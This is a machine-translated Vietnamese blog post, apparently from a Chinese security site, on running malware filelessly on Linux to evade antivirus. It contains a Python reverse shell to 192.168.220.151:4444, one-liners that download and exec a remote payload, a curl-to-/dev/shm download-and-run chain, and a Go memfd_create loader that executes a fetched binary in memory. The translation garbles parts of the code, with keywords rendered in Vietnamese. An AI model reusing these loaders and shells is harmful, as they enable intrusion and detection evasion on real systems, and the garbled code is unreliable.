cuốn sách gpt4 ai đã làm

Sự khó chịu của các ngôn ngữ được biên dịch!

In lại Tác giả: Sahara Thời gian cập nhật: 26-12-2024 12:49:52 57 4
mua khóa gpt4 Nike

Tuyên bố miễn trừ trách nhiệm: Bài viết này chủ yếu được sử dụng để chia sẻ kỹ thuật và tất cả nội dung chỉ mang tính chất tham khảo. Tôi không chịu trách nhiệm về bất kỳ hậu quả pháp lý nào do việc sử dụng hoặc dựa vào thông tin trong bài viết này gây ra. Người đọc nên tự đánh giá rủi ro và tuân thủ các luật và quy định có liên quan.

@ .

Mục lục
  • Các ngôn ngữ lập trình như python
    • Ví dụ
      • Thử nghiệm
  • Golang và các ngôn ngữ được biên dịch tĩnh khác
    • bộ nhớ tập tin hệ thống
    • use memfd_create
      • Ví dụ

Các ngôn ngữ lập trình như python

Bằng cách mở rộng ý tưởng phát triển khai không sử dụng tệp powercat, chúng tôi có thể xem xét việc thực thi các loại tệp thông qua mã độc hại như quá trình tải và tải nghiêm trọng, đồng thời chúng tôi cũng có thể sử dụng triển khai không sử dụng tệp để tránh tính năng chống vi-rút tĩnh.

Vì python được cài đặt mặc định trong hầu hết các hệ thống Linux và python là ngôn ngữ lập trình nên bạn có thể trực tiếp use command line code để thực hiện các thao tác, rất giống với powershell. sử dụng tệp giống nhau .

Ví dụ

Trước đó, hãy chuẩn bị một tập lệnh python độc hại và đặt nó trên máy chủ từ xa để tải xuống tệp.

enter socket enter quy trình con s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.220.151', 4444)) while True: command = s.recv(1024).decode('utf -8 ') if command.low() == 'exit': break start ra = subprocess.run(command, shell=True, capture_output=True) s.send(output.stdout + out.stderr) s.close()

Sau đó, sử dụng python để tải xuống và thực thi tệp để đạt được hiệu quả thực hiện không có tệp.

import urllib.request import subprocess # Tải xuống tập lệnh Python độc hại url = 'http://192.168.220.151/payload.py' reply = urllib.request.urlopen(url) code = reply.read().decode(' utf-8') # Thực thi tập lệnh đã được tải xuống exec(code)

Tuy nhiên, đoạn mã hóa ở dạng lệnh. command.

nhập urllib.request phản hồi = urllib.request.urlopen('http://192.168.220.151/payload.py') code = reply.read().decode('utf-8') exec(code)

Bạn cũng có thể sử dụng trực tiếp python -c để thực thi một dòng mã.

nhập urllib.request; exec(urllib.request.urlopen('http://192.168.220.151/payload.py').read().decode('utf-8'))

hoặc.

python3 -c "nhập urllib.request; exec(urllib.request.urlopen('http://192.168.220.151/payload.py').read().decode('utf-8'))"

Thử nghiệm

Kích hoạt web dịch vụ trong thư mục chứa tải để tải xuống các tệp độc hại.

Kết thúc cuộc tấn công kích hoạt giám sát.

Thiết bị cuối cùng được kiểm soát Kiểm soát vận hành, tải xuống và thực thi mã độc, đồng thời thực hiện phát triển khai không cần có tệp.

Kết thúc cuộc tấn công đã được nhận thành công.

Khi tôi bắt đầu được kiểm soát, không tìm thấy tải trọng nào và tệp đã được phát triển thành công.

Golang và các ngôn ngữ được biên dịch tĩnh khác

Do đặc điểm của các ngôn ngữ biên dịch tĩnh như golang, C, C++ nên dù có tránh thế nào cũng cần phải có file trong hệ thống để thực thi, nhưng điều này không có nghĩa là không thể phát triển hoàn toàn không có tập tin.

bộ nhớ tập tin hệ thống

  • Thực thi hoàn toàn trong bộ nhớ:/dev/shm Một tập tin hệ thống trong bộ nhớ được sử dụng (tmpfs), tệp được lưu trong bộ nhớ, đảm bảo tệp không được ghi vào đĩa.
  • thực hiện nhanh chóng: Các tệp trong bộ nhớ được truy cập nhanh hơn nhiều so với các tệp trên đĩa, do đó nâng cao hiệu quả thực thi.
  • Bằng cách viết tập tin /dev/shm Và được thực thi từ thư mục này, tệp được lưu trữ hoàn toàn trong bộ nhớ, đảm bảo không có tệp nào được ghi vào đĩa nên có thể đạt được Thực hiện hoàn toàn không có tập tin ứng dụng.
  • Nếu bạn muốn chắc chắn rằng không có tập tin nào bị bỏ, bạn có thể xóa sau khi quá trình thực hiện hoàn tất /dev/shm thư mục có thể tăng cường bảo mật hơn nữa.

Do đó, để phát triển khai báo không cần tệp thực thi nhị phân trong các ngôn ngữ được biên dịch, có thể sử dụng thư mục /dev/shm, ví dụ:

vòng tròn -s http://192.168.220.151/helloNum -o /dev/shm/helloNum && chmod +x /dev/shm/helloNum && /dev/shm/helloNum && rm /dev/shm/helloNum

Tác vụ này sẽ tải tệp xuống thư mục /dev/shm/, lưu trữ trực tiếp vào bộ nhớ để thực thi và xóa tệp sau khi thực thi.

Nếu quá trình thực hiện chương trình độc hại gây gián đoạn do Do đó, nên bổ sung thêm chương trình Bảo vệ tệp độc hại.

Nếu một chương trình tự động xóa được ghi vào một tệp độc hại, thì nếu chương trình độc hại đó bị chấm dứt chủ động, các hoạt động tiếp theo sẽ không thể thực hiện bình thường. Thao tác có ý nghĩa được sử dụng để tránh bị phát hiện bảo mật và sau đó trạng thái thực thi của chương trình độc hại được theo dõi thời gian thực hiện thông tin này qua tệp.

use memfd_create

memfd_create là một hệ thống lệnh gọi được cung cấp bởi nhân Linux, có thể tạo các tệp ẩn danh chỉ tồn tại trong bộ nhớ.

Đây là một ví dụ:

package main import ( "fmt" "io" "net/http" "os" "golang.org/x/sys/unix" "syscall" ) func main() { // Tạo file bộ nhớ ẩn fd, err : = unix .MemfdCreate("helloNum", unix.MFD_CLOEXEC) nếu có lỗi != nil { Panic(err) } // Gói bộ mô tả tệp dưới dạng os.File memFile := os.NewFile(uintptr(fd), "helloNum") defer memFile.Close() // Tải file nhị phân về tập tin bộ nhớ resp, err := http.Get("http://192.168.220.151/helloNum" ) if err != nil { Động loạn(err) } trì hoãn resp.Body.Close() _, err = io.Copy (memFile, resp.Body) nếu có lỗi != nil { Panic(err) } // Đặt lại bộ mô tả tệp về vị trí bắt đầu_, err = memFile.Seek(0, 0) if err != nil { Panic(err) } // Use syscall.Exec để thực thi tệp nhị phân này trong bộ nhớ err = syscall.Exec("/proc/self/fd/"+fmt.Sprint(memFile.Fd()), []string{}, os.Environ()) if err != nil { Khởi động loạn(err) } }
  1. unix.MemfdCreate("helloNum", unix.MFD_CLOEXEC): Tạo một tệp nhớ ẩn danh (còn gọi là tệp sao lưu bộ nhớ). drive drive số lượng lớn.MFD_CLOEXEC cờ có nghĩa là thực thi người điều khiển loạt các chức năng, bộ mô tả này sẽ tự động được đóng lại.
  2. os.NewFile(uintptr(fd), "helloNum"): Bộ nhớ tập tin mô tả sẽ được tạo fd Chuyển đổi thành công os.File Object để bạn có thể sử dụng các phương thức thao tác với tệp trong chuẩn thư viện.
  3. http.Get("http://192.168.220.151/helloNum"): Tải xuống tệp từ URL được chỉ định.
  4. io.Copy(memFile, resp.Body): Sao chép dữ liệu trong nội dung phản hồi HTTP vào bộ nhớ tệp.
  5. memFile.Seek(0, 0): Di chuyển con trỏ đọc-ghi của bộ nhớ về tệp đầu.
  6. syscall.Exec("/proc/self/fd/"+fmt.Sprint(memFile.Fd()), []string{}, os.Environ()): Đây là một phần quan trọng của mã hóa.syscall.Exec Chức năng được sử dụng để thay thế hình ảnh của quá trình hiện tại bằng một chương trình mới. Ở đây, nó đã cố gắng thực hiện một phân tích nhị phân trong bộ nhớ bằng cách sử dụng bộ giải thích của tệp trong bộ nhớ.
    • /proc/self/fd/: Đây là một đặc tả thư mục chứa các biểu tượng liên kết tới tất cả các tệp mô tả được mở bởi hiện tại quy trình.
    • fmt.Sprint(memFile.Fd()): Chuyển đổi tệp mô tả của bộ nhớ tệp thành một chuỗi.
    • []sợi dây{}: Điều này được chuyển tới Thực thi Danh sách tham số trống ở đây có nghĩa là không có số dòng lệnh nào được truyền đi.
    • os.Environ(): Điều này được chuyển tới Thực thi Danh sách các môi trường biến, chứa các môi trường biến của hiện tại quy trình.

Ví dụ

Viết chương trình diễn ra trong một số thao tác sau 3 giây và biên dịch nó thành tệp thực thi dưới dạng tệp thực tế nhị phân thi độc hại từ xa để trình diễn.

Start web service.

Biên dịch đoạn mã trên thành phần thực thi nhị phân memfd và thực thi nó.

Kiểm tra vị trí tệp xác thực này trong quá trình thực hiện, không có đích tệp nào được tải trực tiếp vào bộ nhớ, thay vào đó thế hình ảnh của memfd tiến trình bằng chương trình độc hại từ xa của chúng tôi.

Chào mừng bạn theo dõi tài khoản công khai "D1TASec" để nhận được nhiều thứ tư hơn.

Bài viết cuối cùng nói về nỗi đau của các ngôn ngữ được biên dịch! Nhưng tôi có thể làm được điều đó mà không cần tài khoản dữ liệu ! có thể làm điều đó mà không cần tài liệu ! các bài viết liên quan Tôi hy vọng bạn sẽ ủng hộ blog của tôi trong tương lai .

57 4 0
Chứng chỉ ICP Bắc Kinh số 000000
Hợp tác quảng cáo: 1813099741@qq.com 6ren.com
Xem sitemap của VNExpress